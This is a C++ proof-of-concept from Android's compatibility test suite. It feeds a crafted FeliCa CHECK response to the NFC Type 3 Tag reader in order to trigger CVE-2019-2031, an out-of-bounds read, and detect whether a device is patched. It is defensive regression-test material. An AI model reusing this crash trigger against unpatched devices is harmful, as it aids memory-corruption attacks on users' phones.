xref: /aosp_15_r20/cts/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp (revision b7c941bb3fa97aba169d73cee0bed2de8ac964bf)
1 /*
2  * Copyright (C) 2022 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include "../includes/common.h"
18 #include <nfc_api.h>
19 #include <nfc_int.h>
20 #include <rw_int.h>
21 #include <stdlib.h>
22 #include <string.h>
23 #include <tags_defs.h>
24 
25 #define T3T_MSG_FELICALITE_MC_OFFSET 0x01
26 
27 bool testInProgress = false;
28 
29 struct sigaction new_action, old_action;
30 
sigabrt_handler(int signum,siginfo_t * info,void * context)31 void sigabrt_handler(int signum, siginfo_t *info, void *context) {
32   if (testInProgress && info->si_signo == SIGABRT) {
33     (*old_action.sa_sigaction)(signum, info, context);
34     return;
35   }
36   exit(EXIT_FAILURE);
37 }
38 
39 extern tRW_CB rw_cb;
40 extern tNFC_CB nfc_cb;
41 tNFC_CONN *p_data;
42 void rw_init(void);
43 tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
44                           uint8_t mrti_check, uint8_t mrti_update);
45 
allocate_memory(size_t size)46 void *allocate_memory(size_t size) {
47   void *ptr = malloc(size);
48   memset(ptr, 0x0, size);
49   return ptr;
50 }
51 
52 /* States */
53 enum {
54   RW_T3T_STATE_NOT_ACTIVATED,
55   RW_T3T_STATE_IDLE,
56   RW_T3T_STATE_COMMAND_PENDING
57 };
58 
59 /* Enumeration of API commands */
60 enum {
61   RW_T3T_CMD_DETECT_NDEF,
62   RW_T3T_CMD_CHECK_NDEF,
63   RW_T3T_CMD_UPDATE_NDEF,
64   RW_T3T_CMD_CHECK,
65   RW_T3T_CMD_UPDATE,
66   RW_T3T_CMD_SEND_RAW_FRAME,
67   RW_T3T_CMD_GET_SYSTEM_CODES,
68   RW_T3T_CMD_FORMAT,
69   RW_T3T_CMD_SET_READ_ONLY_SOFT,
70   RW_T3T_CMD_SET_READ_ONLY_HARD,
71   RW_T3T_CMD_MAX
72 };
73 
74 /* Sub-states */
75 enum {
76   /* Sub states for formatting Felica-Lite */
77   RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
78    formatting) */
79   RW_T3T_FMT_SST_CHECK_MC_BLK,     /* Waiting for Felica-Lite MC (MemoryControl)
80        block-read to complete */
81   RW_T3T_FMT_SST_UPDATE_MC_BLK,    /* Waiting for Felica-Lite MC (MemoryControl)
82       block-write to complete */
83   RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
84    to complete */
85 
86   /* Sub states for setting Felica-Lite read only */
87   RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
88    setting read only) */
89   RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
90    to complete */
91   RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
92    block-read to complete */
93   RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
94    block-write to complete */
95 };
96 
poc_cback(tRW_EVENT event,tRW_DATA * p_rw_data)97 void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
98   (void)event;
99   (void)p_rw_data;
100 }
101 
GKI_start_timer(uint8_t,int32_t,bool)102 void GKI_start_timer(uint8_t, int32_t, bool) {}
103 
GKI_stop_timer(uint8_t)104 void GKI_stop_timer(uint8_t) {}
105 
GKI_freebuf(void *)106 void GKI_freebuf(void *) {}
107 
exit_handler(void)108 void exit_handler(void) {
109   if (p_data) {
110     if (p_data->data.p_data) {
111       free(p_data->data.p_data);
112       p_data->data.p_data = nullptr;
113     }
114     free(p_data);
115     p_data = nullptr;
116   }
117 }
118 
main()119 int main() {
120   atexit(exit_handler);
121   sigemptyset(&new_action.sa_mask);
122   new_action.sa_flags = SA_SIGINFO;
123   new_action.sa_sigaction = sigabrt_handler;
124   sigaction(SIGABRT, &new_action, &old_action);
125 
126   tNFC_ACTIVATE_DEVT p_activate_params = {};
127   p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
128   p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
129   RW_SetActivatedTagType(&p_activate_params, &poc_cback);
130   FAIL_CHECK(rw_cb.p_cback == &poc_cback);
131 
132   tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
133 
134   GKI_init();
135   rw_init();
136   rw_cb.p_cback = &poc_cback;
137 
138   uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
139   uint8_t mrti_check = 1, mrti_update = 1;
140   FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) ==
141              NFC_STATUS_OK)
142 
143   p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN));
144   FAIL_CHECK(p_data);
145 
146   p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3);
147   FAIL_CHECK(p_data->data.p_data);
148 
149   p_data->status = NFC_STATUS_OK;
150 
151   p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF;
152   p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
153   p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT;
154   p_t3t->ndef_attrib.ln = 0x000F;
155 
156   NFC_HDR *p_msg = (p_data->data).p_data;
157   p_msg->offset = 0;
158   p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1;
159 
160   uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset;
161   p_t3t_rsp[0] = NCI_STATUS_OK;
162   p_t3t_rsp++;
163   p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
164   p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
165   p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0;
166 
167   tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
168   tNFC_CONN_EVT event = NFC_DATA_CEVT;
169   memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
170          NCI_NFCID2_LEN);
171   testInProgress = true;
172   p_cb->p_cback(0, event, p_data);
173   testInProgress = false;
174 
175   return EXIT_SUCCESS;
176 }
177